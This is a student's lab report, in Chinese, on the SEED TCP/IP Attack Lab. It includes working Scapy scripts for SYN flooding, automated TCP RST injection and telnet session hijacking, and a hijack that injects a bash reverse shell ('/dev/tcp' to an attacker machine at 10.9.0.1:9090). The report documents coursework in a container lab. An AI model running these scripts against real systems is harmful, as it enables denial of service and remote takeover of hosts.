说在前面
本实验的相关文件参见官网 TCP/IP Attack Lab
本实验建议在官方提供的虚拟机环境中进行,可以参考 SEED-labs-ubuntu 20.04 虚拟机环境搭建
Lab Environment Setup
使用docker拉取实验环境镜像。实验环境中有一台攻击者,和三台主机。
Task 1: SYN Flooding Attack
SYN flood 是一种 DoS 攻击形式,攻击者向受害者的 TCP 端口发送许多 SYN 请求,但无意完成 3 路握手过程。攻击者要么使用欺骗的 IP 地址,要么不继续该过程。通过这种攻击,攻击者可以向受害者的队列灌水,该队列用于半开连接,即已完成 SYN、SYN-ACK 但尚未得到最终 ACK 的连接。当队列满时,受害者就无法再接受任何连接。下图展示了这种攻击。
队列的大小有一个全系统范围的设置。在 Ubuntu 操作系统中,我们可以使用以下命令查看设置。操作系统会根据系统内存大小来设置该值:内存越大,该值就越大。
# sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 128
我们可以使用 netstat-nat
命令来检查队列的使用情况,即与监听端口相关的半打开连接的数量。此类连接的状态是 SYN-RECV
。如果三方握手结束,则连接状态为 ESTABLISHED
。
现在我们查看系统设置的排队大小范围。可以看到上限为256。
Task 1.1: Launching the Attack Using Python
任务内容: 使用Python实现 SYN Flooding 攻击。
1.受害主机的IP为10.9.0.5
。修改 synflood.py
程序如下图所示。
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)
2.查看当前受害机的 tcp 连接:
3.在攻击主机上运行 synflood.py
,在受害主机上查看结果(结果太长截取部分)
4.我们会发现此时的所有连接都是半连接状态。此时我们尝试去连接该主机。发现只有一小会连接不上,并且之后的所有连接都是瞬间连接。
5.第一次是因为,python 程序跑得不够快,其它用户总有机会抢过它。而之后能立即连接是因为,受害者主机记住了原来的连接。
Task 1.2: Launch the Attack Using C
任务内容: 使用C语言实现 SYN Flooding 攻击。
1.首先清除受害者主机的缓存。
2.运行程序查看结果,可以发现受害机的连接全部处于半连接状态。
3.并且我尝试连接受害机失败。
4.这是因为这个C语言程序运行的非常快,我的用户机在连接时抢不过该程序。
Task 1.3: Enable the SYN Cookie Countermeasure
任务内容: 启用 SYN cookie 机制,并再次运行攻击,比较结果。
1.清空缓存并启用 SYN Cookie。
2.再次运行 synflood,查看运行结果,可以看到队列已满,但是仍然可以连接。
Task 2: TCP RST Attacks on telnet Connections
TCP RST 攻击可终止两个受害者之间已建立的 TCP 连接。例如,如果两个用户 A 和 B 之间有一个已建立的 telnet 连接(TCP),攻击者可以伪造一个从 A 发送到 B 的 RST 数据包,从而破坏现有连接。要成功实施这种攻击,攻击者需要正确构建 TCP RST 数据包。
在此任务中,您需要从虚拟机发起 TCP RST 攻击,以破坏容器 A 和 B 之间现有的 telnet 连接。为了简化实验,我们假设攻击者和受害者在同一个局域网中,即攻击者可以观察到 A 和 B 之间的 TCP 流量。
请使用 Scapy 进行 TCP RST 攻击。下面提供了一段骨架代码。您需要将 @@@@ 替换为实际值(可以使用 Wireshark 获取):
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="@@@@", seq=@@@@, ack=@@@@)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
选做: 自动发起攻击。编写一个程序,使用嗅探和欺骗技术自动发起攻击。与手动方法不同,我们从嗅探数据包中获取所有参数,因此整个攻击过程都是自动化的。请确保在使用 Scapy 的嗅探函数时,不要忘记设置 iface 参数。
说明:我的操作已结合选做。
1.在宿主机查看网桥的名称为 br-b10103161082
2.按照信息编写 tcprst.py
#!/usr/bin/env python3
from scapy.all import *
def spoof_pkt(pkt):
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
tcp = TCP(sport=23, dport=pkt[TCP].dport, flags="R", seq=pkt[TCP].seq+1)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-b10103161082', filter=f, prn=spoof_pkt)
3.尝试连接 10.9.0.5
时显示被关闭,成功完成任务,通过伪造RST截断连接。
Task 3: TCP Session Hijacking
TCP 会话劫持攻击的目的是通过向两个受害者之间的现有 TCP 连接(会话)注入恶意内容来劫持该会话。如果该连接是 telnet 会话,攻击者可将恶意命令(如删除重要文件)注入该会话,导致受害者执行恶意命令。下图 描述了攻击的工作原理。在本任务中,您需要演示如何劫持两台计算机之间的 telnet 会话。您的目标是让 telnet 服务器运行来自您的恶意命令。为简化任务,我们假设攻击者和受害者在同一局域网内。
手动发起攻击。请使用 Scapy 进行 TCP 会话劫持攻击。下面提供了一段骨架代码。您需要用实际值替换每个 @@@@;您可以使用 Wireshark 来计算应该在欺骗的 TCP 数据包的每个字段中填入什么值。
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="@@@@", seq=@@@@, ack=@@@@)
data = "@@@@"
pkt = ip/tcp/data
ls(pkt)
send(pkt,verbose=0)
选做: 自动发起攻击。编写一个程序,使用嗅探和欺骗技术自动发起攻击。与手动方法不同,我们从嗅探数据包中获取所有参数,因此整个攻击过程都是自动化的。请确保在使用 Scapy 的嗅探函数时,不要忘记设置 iface 参数。
说明:我的操作已结合选做。
1.编写并运行结合嗅探和伪造的自动化攻击程序tcphijacking.py
#!/usr/bin/env python3
from scapy.all import *
def spoof_pkt(pkt):
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
tcp = TCP(sport=pkt[TCP].dport, dport=23,
flags="A",
seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
data = "echo \"ლ(́◕◞౪◟◕‵ლ)\" >> ~/hijacking.out\n\0"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-b10103161082', filter=f, prn=spoof_pkt)
2.可以看到 10.9.0.5
受害机上被成功写入我们的文件,攻击成功。
Task 4: Creating Reverse Shell using TCP Session Hijacking
当攻击者利用 TCP 会话劫持向受害者机器注入命令时,他们并不希望在受害者机器上运行一个简单的命令,而是希望运行许多命令。显然,通过 TCP 会话劫持来运行这些命令是不方便的。攻击者想要达到的目的是利用攻击设置后门,这样他们就可以利用这个后门方便地进行进一步破坏。
设置后门的一种非典型方法是从受害者机器上运行一个反向 shell,让攻击者通过 shell 访问受害者机器。反向 shell 是在远程机器上运行的 shell 进程,可连接回攻击者的机器。一旦远程机器被入侵,攻击者就可以方便地访问远程机器。在本任务中,学生需要证明他们能够实现这一目标。
1.编写 reverseshell.py
:
在这里插入代码片#!/usr/bin/env python3
from scapy.all import *
def spoof_pkt(pkt):
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack, ack=pkt[TCP].seq + 1)
# 构造反向 Shell 命令,该命令将通过 TCP 与攻击者的机器建立连接(10.9.0.1:9090)
# 启动一个 Bash shell 并将其输入输出重定向到指定的端口,从而允许攻击者远程控制目标机器
data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\0"
pkt = ip / tcp / data
send(pkt, verbose=0)
f = 'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-b10103161082', filter=f, prn=spoof_pkt)
2.在 attacker主机上开启监听:
3.使用telnet 连接 10.9.0.5
受害者主机,并在attacker上运行 reverseshell.py
,可以看到运行结果,成功拿到 victim 的 shell: